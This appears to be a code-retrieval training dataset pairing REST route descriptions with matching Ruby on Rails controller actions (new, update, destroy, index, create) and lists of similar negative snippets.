"def trek_index\n @trace = Trek.where(id: params[:id])\n # traitement du cas oΓΉ la trace indiquΓ©e n'est pas un trek\n if @trace.empty?\n return redirect_to treks_url,\n notice: \"le trek #{params[:id].to_i} n'existe pas.\"\n end\n @trace = @trace.first\n # traitement du cas nominal\n return if (@page_a_afficher = corrige_page? do\n @trace.randonnees.order(heure_debut: :desc)\n end).nil?\n @traces = @traces.to_a.slice((@page_a_afficher - 1) * TAILLE_PAGE,\n TAILLE_PAGE)\n end",
"def new\n @trace = Trace.new(params[:trace])\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @trace }\n end\n end",
"def stats\n get 'stats', format: 'json'\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
GET /traces/new GET /traces/new.xml
|
def new
@trace = Trace.new(params[:trace])
respond_to do |format|
format.html # new.html.erb
format.xml { render :xml => @trace }
end
end
|
[
"def new\n @trace = Trace.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @trace }\n end\n end",
"def new\n @trail = Trail.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @trail }\n end\n end",
"def new\n @trace = Trace.new\n @user = current_user \n @vehicles = @user.vehicles\n @devices = @user.devices\n \n @title = \"Add trace | #{@user.login} |\"\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @trace }\n end\n end",
"def index\n @traces = Trace.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @traces }\n end\n end",
"def create\n @trace = Trace.new(params[:trace])\n\n respond_to do |format|\n if @trace.save\n flash[:notice] = 'Trace was successfully created.'\n format.html { redirect_to(user_traces_path(current_user)) }\n format.xml { render :xml => @trace, :status => :created, :location => @trace }\n else\n flash[:error] = 'There were some problems saving the trace: <ul>'+@trace.errors.collect{|k,v| \"<li>The #{k} #{v}</li>\"}.to_s + \"</ul>\"\n format.html { redirect_to :action => \"new\" }\n format.xml { render :xml => @trace.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @page_history = PageHistory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page_history }\n end\n end",
"def new\n @visit_stat = VisitStat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @visit_stat }\n end\n end",
"def new\n @rollover = Rollover.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rollover }\n end\n end",
"def new\n @tstat = Tstat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tstat }\n end\n end",
"def new\n @current_stat = CurrentStat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @current_stat }\n end\n end",
"def new\n @inspection_history = InspectionHistory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @inspection_history }\n end\n end",
"def new\n @stat = Stat.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @stat }\n end\n end",
"def new\n @stat = Stat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @stat }\n end\n end",
"def new\n @clicks = Click.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @clicks }\n end\n end",
"def new\n @site_stat = SiteStat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site_stat }\n end\n end",
"def new\n add_breadcrumb :new\n @visit = Visit.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @visit }\n end\n end",
"def new_rest\n @page_usage_event = PageUsageEvent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page_usage_event }\n end\n end",
"def new_rest\n @entry_instrument = EntryInstrument.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entry_instrument }\n end\n end",
"def new\n @segment = Segments.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @segment }\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
PUT /traces/1 PUT /traces/1.xml
|
def update
@trace = Trace.find(params[:id])
respond_to do |format|
if @trace.update_attributes(params[:trace])
format.html { redirect_to(@trace, :notice => 'Trace was successfully updated.') }
format.xml { head :ok }
else
format.html { render :action => "edit" }
format.xml { render :xml => @trace.errors, :status => :unprocessable_entity }
end
end
end
|
[
"def test_api_update_tags\n tracetag = create(:tracetag)\n trace = tracetag.trace\n basic_authorization trace.user.display_name, \"test\"\n\n content trace.to_xml\n put :api_update, :params => { :id => trace.id }\n assert_response :success\n\n updated = Trace.find(trace.id)\n # Ensure there's only one tag in the database after updating\n assert_equal Tracetag.count, 1\n # The new tag object might have a different id, so check the string representation\n assert_equal trace.tagstring, updated.tagstring\n end",
"def update\n if @trace.update(trace_params)\n render :show, status: :ok, location: @trace\n else\n render json: @trace.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @trace.update(trace_params)\n format.html { redirect_to @trace, notice: 'Trace was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @trace.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end",
"def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post opts.fetch(:path, update_path), opts\n end",
"def create\n @trace = Trace.new(params[:trace])\n\n respond_to do |format|\n if @trace.save\n flash[:notice] = 'Trace was successfully created.'\n format.html { redirect_to(user_traces_path(current_user)) }\n format.xml { render :xml => @trace, :status => :created, :location => @trace }\n else\n flash[:error] = 'There were some problems saving the trace: <ul>'+@trace.errors.collect{|k,v| \"<li>The #{k} #{v}</li>\"}.to_s + \"</ul>\"\n format.html { redirect_to :action => \"new\" }\n format.xml { render :xml => @trace.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def patch_traces traces\n traces = Array(traces)\n traces_proto = Google::Cloud::Trace::V1::Traces.new\n traces.each do |trace|\n traces_proto.traces.push trace.to_grpc\n end\n\n lowlevel_client.patch_traces project_id: @project, traces: traces_proto\n traces\n end",
"def destroy\n @trace = Trace.find(params[:id])\n @trace.destroy\n\n respond_to do |format|\n format.html { redirect_to(traces_url) }\n format.xml { head :ok }\n end\n end",
"def create\n @trace = Trace.new(trace_params)\n\n respond_to do |format|\n if @trace.save\n format.html { redirect_to @trace, notice: 'Trace was successfully created.' }\n format.json { render action: 'show', status: :created, location: @trace }\n else\n format.html { render action: 'new' }\n format.json { render json: @trace.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @traces = Trace.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @traces }\n end\n end",
"def update\n @fault_history = FaultHistory.find(params[:id])\n\n respond_to do |format|\n if @fault_history.update_attributes(params[:fault_history])\n format.html { redirect_to(@fault_history, :notice => 'Fault history was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @fault_history.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def trace uri, args = {}; Request.new(TRACE, uri, args).execute; end",
"def patch_traces traces\n traces = Array(traces)\n traces_proto = Google::Devtools::Cloudtrace::V1::Traces.new\n traces.each do |trace|\n traces_proto.traces.push trace.to_grpc\n end\n execute do\n lowlevel_client.patch_traces @project, traces_proto\n end\n traces\n end",
"def update\n respond_to do |format|\n if @traceur.update(traceur_params)\n format.html { redirect_to traceurs_url(), notice: \"Traceur was successfully updated.\" }\n format.json { render :show, status: :ok, location: @traceur }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @traceur.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @xray = Xray.find(params[:id])\n\n respond_to do |format|\n if @xray.update_attributes(params[:xray])\n format.html { redirect_to(@xray, :notice => 'Xray was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @xray.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_rest\n @instrument = Instrument.find(params[:id])\n\n respond_to do |format|\n if @instrument.update_attributes(params[:instrument])\n flash[:notice] = 'Instrument was successfully updated.'\n format.html { redirect_to(@instrument) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @instrument.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @xray_value = XrayValue.find(params[:id])\n\n respond_to do |format|\n if @xray_value.update_attributes(params[:xray_value])\n format.html { redirect_to(@xray_value, :notice => 'XrayValue was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @xray_value.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_report_template(args = {}) \n put(\"/reports.json/template/#{args[:templateId]}\", args)\nend",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
DELETE /traces/1 DELETE /traces/1.xml
|
def destroy
@trace = Trace.find(params[:id])
@trace.destroy
respond_to do |format|
format.html { redirect_to(traces_url) }
format.xml { head :ok }
end
end
|
[
"def destroy\n @trace.destroy\n respond_to do |format|\n format.html { redirect_to traces_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @scrap_xml = ScrapXml.find(params[:id])\n @scrap_xml.destroy\n\n respond_to do |format|\n format.html { redirect_to(scrap_xmls_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @dump = Dump.find(params[:id])\n @dump.destroy\n\n respond_to do |format|\n format.html { redirect_to(dumps_url) }\n format.xml { head :ok }\n end\n end",
"def report_delete(id)\r\n\t\tpost= { \"token\" => @token, \"report\" => id } \r\n\t\tdocxml=nessus_request('report/delete', post)\r\n\t\treturn docxml\r\n\tend",
"def destroy\n @config_xml = ConfigXml.find(params[:id])\n @config_xml.destroy\n\n respond_to do |format|\n format.html { redirect_to(config_xmls_url) }\n format.xml { head :ok }\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end",
"def destroy\n @visit_stat = VisitStat.find(params[:id])\n @visit_stat.destroy\n\n respond_to do |format|\n format.html { redirect_to(scaffold_visit_stats_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @report_structure = ReportStructure.find(params[:id])\n @report_structure.destroy\n\n respond_to do |format|\n format.html { redirect_to(report_structures_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @trail = Trail.find(params[:id])\n @trail.destroy\n\n respond_to do |format|\n format.html { redirect_to(trails_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @baseline = Baseline.find(params[:id])\n @baseline.destroy\n\n respond_to do |format|\n format.html { redirect_to(baselines_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @market_segment.destroy\n respond_to do |format|\n format.html { redirect_to(admin_market_segments_url) }\n format.xml { head :ok }\n end\n website.add_log(user: current_user, action: \"Deleted market segment #{@market_segment.name}\")\n end",
"def destroy\n @visitlog = Visitlog.find(params[:id])\n @visitlog.destroy\n\n respond_to do |format|\n format.html { redirect_to(visitlogs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\r\n @measurement_threshold.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(measurement_thresholds_url) }\r\n format.xml { head :ok }\r\n end\r\n end",
"def destroy\n @segment = Segment.find(params[:id])\n @segment.destroy\n\n respond_to do |format|\n format.html { redirect_to(worldreach_segments_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @xray = Xray.find(params[:id])\n @xray.destroy\n\n respond_to do |format|\n format.html { redirect_to(xrays_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @triage_threshold = TriageThreshold.find(params[:id].to_i)\n @triage_threshold.destroy\n\n respond_to do |format|\n format.html { redirect_to :controller => 'triage_thresholds', :action => 'show', :id => @triage_threshold }\n format.xml { head :ok }\n end\n end",
"def destroy\n @reference_log = ReferenceLog.find(params[:id])\n @reference_log.destroy\n\n respond_to do |format|\n format.html { redirect_to(reference_logs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @deposit_threshold = DepositThreshold.find(params[:id])\n @deposit_threshold.destroy\n\n respond_to do |format|\n format.html { redirect_to(deposit_thresholds_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @xen_log = XenLog.find(params[:id])\n @xen_log.destroy\n\n respond_to do |format|\n format.html { redirect_to(xen_logs_url) }\n format.xml { head :ok }\n end\n end",
"def del\n @status1 = Status1.find(params[:id])\n @status1.destroy\n\n respond_to do |format|\n format.html { redirect_to(status1s_url) }\n format.xml { head :ok }\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
GET /studenttests GET /studenttests.json
|
def index
@studenttests = Studenttest.all
end
|
[
"def show\n @student_test = StudentTest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student_test }\n end\n end",
"def index\n @student_tests = StudentTest.all\n end",
"def get_student(parameters)\n json_post('students/api.json', parameters)\n end",
"def index\n render status: :ok, json: @tests\n end",
"def index\n @personal_tests = PersonalTest.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @personal_tests }\n end\n end",
"def new\n @student_test = StudentTest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student_test }\n end\n end",
"def listing\n tests = Test.where( user_id: test_params[:user_id] )\n all = TestSerializer.new.all_test(tests)\n return render json: all.as_json\n end",
"def school_students(query={})\n self.simple_client.get(\"/api/v1/schools/my/students?#{query.to_query}\")\n end",
"def students\n @teacher = Teacher.find(params[:teacher_id])\n @students = Student.find_all_by_teacher_id(params[:teacher_id])\n\n respond_to do |format|\n format.html # students.html.erb\n format.json { render json: @students }\n end\n end",
"def index\n @student_studies = @university.student_studies.page(params[:page])\n @studies = @student_studies\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @student_studies }\n end\n end",
"def index\n @student_entities = StudentEntity.all\n render json: @student_entities, status: :ok\n end",
"def index\n @specimen_tests = SpecimenTest.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @specimen_tests }\n end\n end",
"def students\n if usernames\n data = {}\n usernames.each {|u| data[u.username] = u.students}\n render json: data and return\n elsif current_user\n render json: {status: \"success\", response: current_user.students} and return\n else\n render json: {status: StatusCode::FAILURE, reason: \"no data provided\"}\n end\n end",
"def index\n @testjsons = Testjson.all\n end",
"def show\n @assessment_practice_test = AssessmentPracticeTest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json:@assessment_practice_test }\n end\n end",
"def index\n @software_tests = SoftwareTest.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @software_tests }\n end\n end",
"def show\n @testspec = Testspec.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @testspec }\n end\n end",
"def index\n render status: :ok, json: @test_guide_scenarios\n end",
"def index\n @assessment_practice_tests = AssessmentPracticeTest.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json:@assessment_practice_tests }\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
POST /studenttests POST /studenttests.json
|
def create
@studenttest = Studenttest.new(studenttest_params)
respond_to do |format|
if @studenttest.save
format.html { redirect_to @studenttest, notice: 'Studenttest was successfully created.' }
format.json { render :show, status: :created, location: @studenttest }
else
format.html { render :new }
format.json { render json: @studenttest.errors, status: :unprocessable_entity }
end
end
end
|
[
"def create\n @student_test = StudentTest.new(student_test_params)\n respond_to do |format|\n if @student_test.save\n format.html { redirect_to @student_test, notice: 'Student test was successfully created.' }\n format.json { render :show, status: :created, location: @student_test }\n else\n format.html { render :new }\n format.json { render json: @student_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student_test = StudentTest.new(params[:student_test])\n\n respond_to do |format|\n if @student_test.save\n format.html { redirect_to @student_test, notice: 'Student test was successfully created.' }\n format.json { render json: @student_test, status: :created, location: @student_test }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student_testimony = StudentTestimony.new(student_testimony_params)\n\n if @student_testimony.save\n render :show, status: :created, location: @student_testimony\n else\n render json: @student_testimony.errors, status: :unprocessable_entity\n end\n end",
"def create\n @star_test = StarTest.new(star_test_params)\n\n respond_to do |format|\n if @star_test.save\n format.html { redirect_to star_tests_url(student_id: @star_test.student.id), notice: 'Star test was successfully created.' }\n format.json { render :show, status: :created, location: @star_test }\n else\n format.html { render :new }\n format.json { render json: @star_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @student_test = StudentTest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student_test }\n end\n end",
"def create\n student = student.new(student_params)\n\n if student.save\n render json: student, status: :created\n else\n render json: student.errors, status: :unprocessable_entity\n end\n end",
"def create\n @surveytest = Surveytest.new(surveytest_params)\n\n respond_to do |format|\n if @surveytest.save\n format.html { redirect_to @surveytest, notice: 'Surveytest was successfully created.' }\n format.json { render :show, status: :created, location: @surveytest }\n else\n format.html { render :new }\n format.json { render json: @surveytest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_create_questionnaire_with_student\n login_user(:student1)\n post :create_questionnaire,{:questionnaire => {\n :name => \"test valid questionnaire\",\n :type => \"ReviewQuestionnaire\",\n :min_question_score => 1,\n :max_question_score => 5,\n :section => \"Review\" }}\n\n # Should be nil because it wasn't saved correct\n assert_redirected_to 'denied'\n assert_nil (Questionnaire.find_by_name(\"test valid questionnaire\"))\n end",
"def create\n @student = Student.new(student_params)\n\n if @student.save\n render json: @student, status: :created\n else\n render json: @student.errors, status: :unprocessable_entity\n end\n end",
"def create\n @selftest = Selftest.new(params[:selftest])\n\n respond_to do |format|\n if @selftest.save\n format.html { redirect_to @selftest, notice: 'Selftest was successfully created.' }\n format.json { render json: @selftest, status: :created, location: @selftest }\n else\n format.html { render action: \"new\" }\n format.json { render json: @selftest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @personal_test = PersonalTest.new(params[:personal_test])\n\n respond_to do |format|\n if @personal_test.save\n format.html { redirect_to \"/personal_tests\" }\n format.json { render json: @personal_test, status: :created, location: @personal_test }\n else\n format.html { render action: \"new\" }\n format.json { render json: @personal_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @testspec = Testspec.new(params[:testspec])\n\n respond_to do |format|\n if @testspec.save\n format.html { redirect_to @testspec, notice: 'Testspec was successfully created.' }\n format.json { render json: @testspec, status: :created, location: @testspec }\n else\n format.html { render action: \"new\" }\n format.json { render json: @testspec.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n unless current_user.student\n render :nothing => true, :status => :unauthorized\n end\n\n team_project = TeamProject.where(id: params[:team_project_id]).first\n puts current_user.student.first\n puts params\n survey = Survey.create(team_project: team_project,written_by: current_user.student)\n params[:completed_survey].each do |item|\n written_for = Student.where(id: item[:student_id]).first\n Comment.create(text: item[:comment],survey: survey,written_for: written_for)\n Score.create(value: item[:score],survey: survey,written_for: written_for)\n end\n\n render json: { success: true }\n end",
"def create_students\n students_url = \"http://104.131.73.180/api/v1/cohorts/#{self.id}/students\"\n students = HTTParty.get(students_url)\n students[\"students\"].each do |student|\n new_student = Student.create(\n id: student[\"id\"],\n name: student[\"data\"][\"first\"] + \" \" + student[\"data\"][\"last\"],\n email: student[\"contact\"][\"email\"],\n cohort_id: self.id,\n phone_number: student[\"contact\"][\"phone\"],\n password: \"12345\"\n )\n # Pony.mail(:to => new_student.email, :from => 'me@ga.co', :subject => 'New Account for GA Attendance created', :body => \"Hello there, #{new_student.name}! We have created an account for you to track your attendance at GA. Your temporary password is 12345. Please log in soon to change it!\")\n end\n end",
"def create\n @star_math_test = StarMathTest.new(star_math_test_params)\n\n respond_to do |format|\n if @star_math_test.save\n format.html { redirect_to star_math_tests_url(student_id: @star_math_test.student.id), notice: 'Star math test was successfully created.' }\n format.json { render :show, status: :created, location: @star_math_test }\n else\n format.html { render :new }\n format.json { render json: @star_math_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user_test = UserTest.new(user_test_params)\n\n respond_to do |format|\n if @user_test.save\n format.html { redirect_to @user_test, notice: 'User test was successfully created.' }\n format.json { render :show, status: :created, location: @user_test }\n else\n format.html { render :new }\n format.json { render json: @user_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @specimen_test = SpecimenTest.new(params[:specimen_test])\n\n respond_to do |format|\n if @specimen_test.save\n format.html { redirect_to @specimen_test, notice: 'Specimen test was successfully created.' }\n format.json { render json: @specimen_test, status: :created, location: @specimen_test }\n else\n format.html { render action: \"new\" }\n format.json { render json: @specimen_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @star_reading_test = StarReadingTest.new(star_reading_test_params)\n\n respond_to do |format|\n if @star_reading_test.save\n format.html { redirect_to star_reading_tests_url(student_id: @star_reading_test.student.id), notice: 'Star reading test was successfully created.' }\n format.json { render :show, status: :created, location: @star_reading_test }\n else\n format.html { render :new }\n format.json { render json: @star_reading_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @studenttests = Studenttest.all\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
PATCH/PUT /studenttests/1 PATCH/PUT /studenttests/1.json
|
def update
respond_to do |format|
if @studenttest.update(studenttest_params)
format.html { redirect_to @studenttest, notice: 'Studenttest was successfully updated.' }
format.json { render :show, status: :ok, location: @studenttest }
else
format.html { render :edit }
format.json { render json: @studenttest.errors, status: :unprocessable_entity }
end
end
end
|
[
"def update\n @student_test = StudentTest.find(params[:id])\n\n respond_to do |format|\n if @student_test.update_attributes(params[:student_test])\n format.html { redirect_to @student_test, notice: 'Student test was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student_test.update(student_test_params)\n format.html { redirect_to @student_test, notice: 'Student test was successfully updated.' }\n format.json { render :show, status: :ok, location: @student_test }\n else\n format.html { render :edit }\n format.json { render json: @student_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @student_testimony.update(student_testimony_params)\n render :show, status: :ok, location: @student_testimony\n else\n render json: @student_testimony.errors, status: :unprocessable_entity\n end\n end",
"def update\n @testspec = Testspec.find(params[:id])\n\n respond_to do |format|\n if @testspec.update_attributes(params[:testspec])\n format.html { redirect_to @testspec, notice: 'Testspec was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @testspec.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @specimen_test = SpecimenTest.find(params[:id])\n\n respond_to do |format|\n if @specimen_test.update_attributes(params[:specimen_test])\n format.html { redirect_to @specimen_test, notice: 'Specimen test was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @specimen_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @selftest = Selftest.find(params[:id])\n\n respond_to do |format|\n if @selftest.update_attributes(params[:selftest])\n format.html { redirect_to @selftest, notice: 'Selftest was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @selftest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test.update(test_params)\n format.html { redirect_to tests_path, notice: 'Test was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @student.update(student_params)\n render json: @student\n else\n render json: @student.errors, status: :unprocessable_entity\n end\n end",
"def update\n student_respond @student.update(student_params), :edit\n end",
"def update\n @one_test = OneTest.find(params[:id])\n\n respond_to do |format|\n if @one_test.update_attributes(params[:one_test])\n format.html { redirect_to @one_test, notice: 'One test was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @one_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @testjson.update(testjson_params)\n format.html { redirect_to @testjson, notice: 'Testjson was successfully updated.' }\n format.json { render :show, status: :ok, location: @testjson }\n else\n format.html { render :edit }\n format.json { render json: @testjson.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @test_detail = TestDetail.find(params[:id])\n\n respond_to do |format|\n if @test_detail.update_attributes(params[:test_detail])\n format.html { redirect_to @test_detail, notice: 'Test detail was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @test_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @rest_test = RestTest.find(params[:id])\n\n respond_to do |format|\n if @rest_test.update_attributes(params[:rest_test])\n format.html { redirect_to(@rest_test, :notice => 'RestTest was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @rest_test.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test.update(test_params)\n format.html { redirect_to root_path, notice: 'Test was successfully updated.' }\n format.json { render :show, status: :ok, location: @test }\n else\n format.html { render :edit }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @RegressionTest = RegressionTest.find(params[:id])\n\n respond_to do |format|\n if @RegressionTest.update_attributes(params[:RegressionTest])\n format.html { redirect_to @RegressionTest, notice: 'RegressionTest was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @RegressionTest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @section_test = SectionTest.find(params[:id])\n\n respond_to do |format|\n if @section_test.update_attributes(params[:section_test])\n format.html { redirect_to @section_test, notice: 'Section test was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @section_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @smoke_test = SmokeTest.find(params[:id])\n\n respond_to do |format|\n if @smoke_test.update_attributes(params[:smoke_test])\n format.html { redirect_to(@smoke_test, :notice => 'Smoke test was successfully updated.') }\n format.json { head :ok }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @smoke_test.errors, :status => :unprocessable_entity }\n format.xml { render :xml => @smoke_test.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test_detail.update(test_detail_params)\n format.html { redirect_to @test_detail, notice: 'Test detail was successfully updated.' }\n format.json { render :show, status: :ok, location: @test_detail }\n else\n format.html { render :edit }\n format.json { render json: @test_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @lab_test = LabTest.find(params[:id])\n\n respond_to do |format|\n if @lab_test.update_attributes(params[:lab_test])\n format.html { redirect_to client_lab_tests_path(@client), notice: t(:lab_test_saved) }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lab_test.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
DELETE /studenttests/1 DELETE /studenttests/1.json
|
def destroy
@studenttest.destroy
respond_to do |format|
format.html { redirect_to studenttests_url, notice: 'Studenttest was successfully destroyed.' }
format.json { head :no_content }
end
end
|
[
"def destroy\n @student_test = StudentTest.find(params[:id])\n @student_test.destroy\n\n respond_to do |format|\n format.html { redirect_to student_tests_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @student_test.destroy\n respond_to do |format|\n format.html { redirect_to student_tests_url, notice: 'Student test was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @terra_nova_test.destroy\n respond_to do |format|\n format.html { redirect_to terra_nova_tests_url(student_id: @terra_nova_test.student.id), notice: 'Terra nova test was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @personal_test = PersonalTest.find(params[:id])\n @personal_test.destroy\n\n respond_to do |format|\n format.html { redirect_to personal_tests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.delete\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @diagnostic_test = DiagnosticTest.find(params[:id])\n @diagnostic_test.destroy\n\n respond_to do |format|\n format.html { redirect_to client_diagnostic_tests_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @one_test = OneTest.find(params[:id])\n @one_test.destroy\n\n respond_to do |format|\n format.html { redirect_to one_tests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @status_test = StatusTest.find(params[:id])\n @status_test.destroy\n\n respond_to do |format|\n format.html { redirect_to status_tests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mytest = Mytest.find(params[:id])\n @mytest.destroy\n\n respond_to do |format|\n format.html { redirect_to mytests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test.destroy\n respond_to do |format|\n format.html { redirect_to tests_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test_detail = TestDetail.find(params[:id])\n @test_detail.destroy\n\n respond_to do |format|\n format.html { redirect_to test_details_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test.destroy\n respond_to do |format|\n format.html { redirect_to tests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @star_math_test.destroy\n respond_to do |format|\n format.html { redirect_to star_math_tests_url(student_id: @star_math_test.student.id), notice: 'Star math test was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
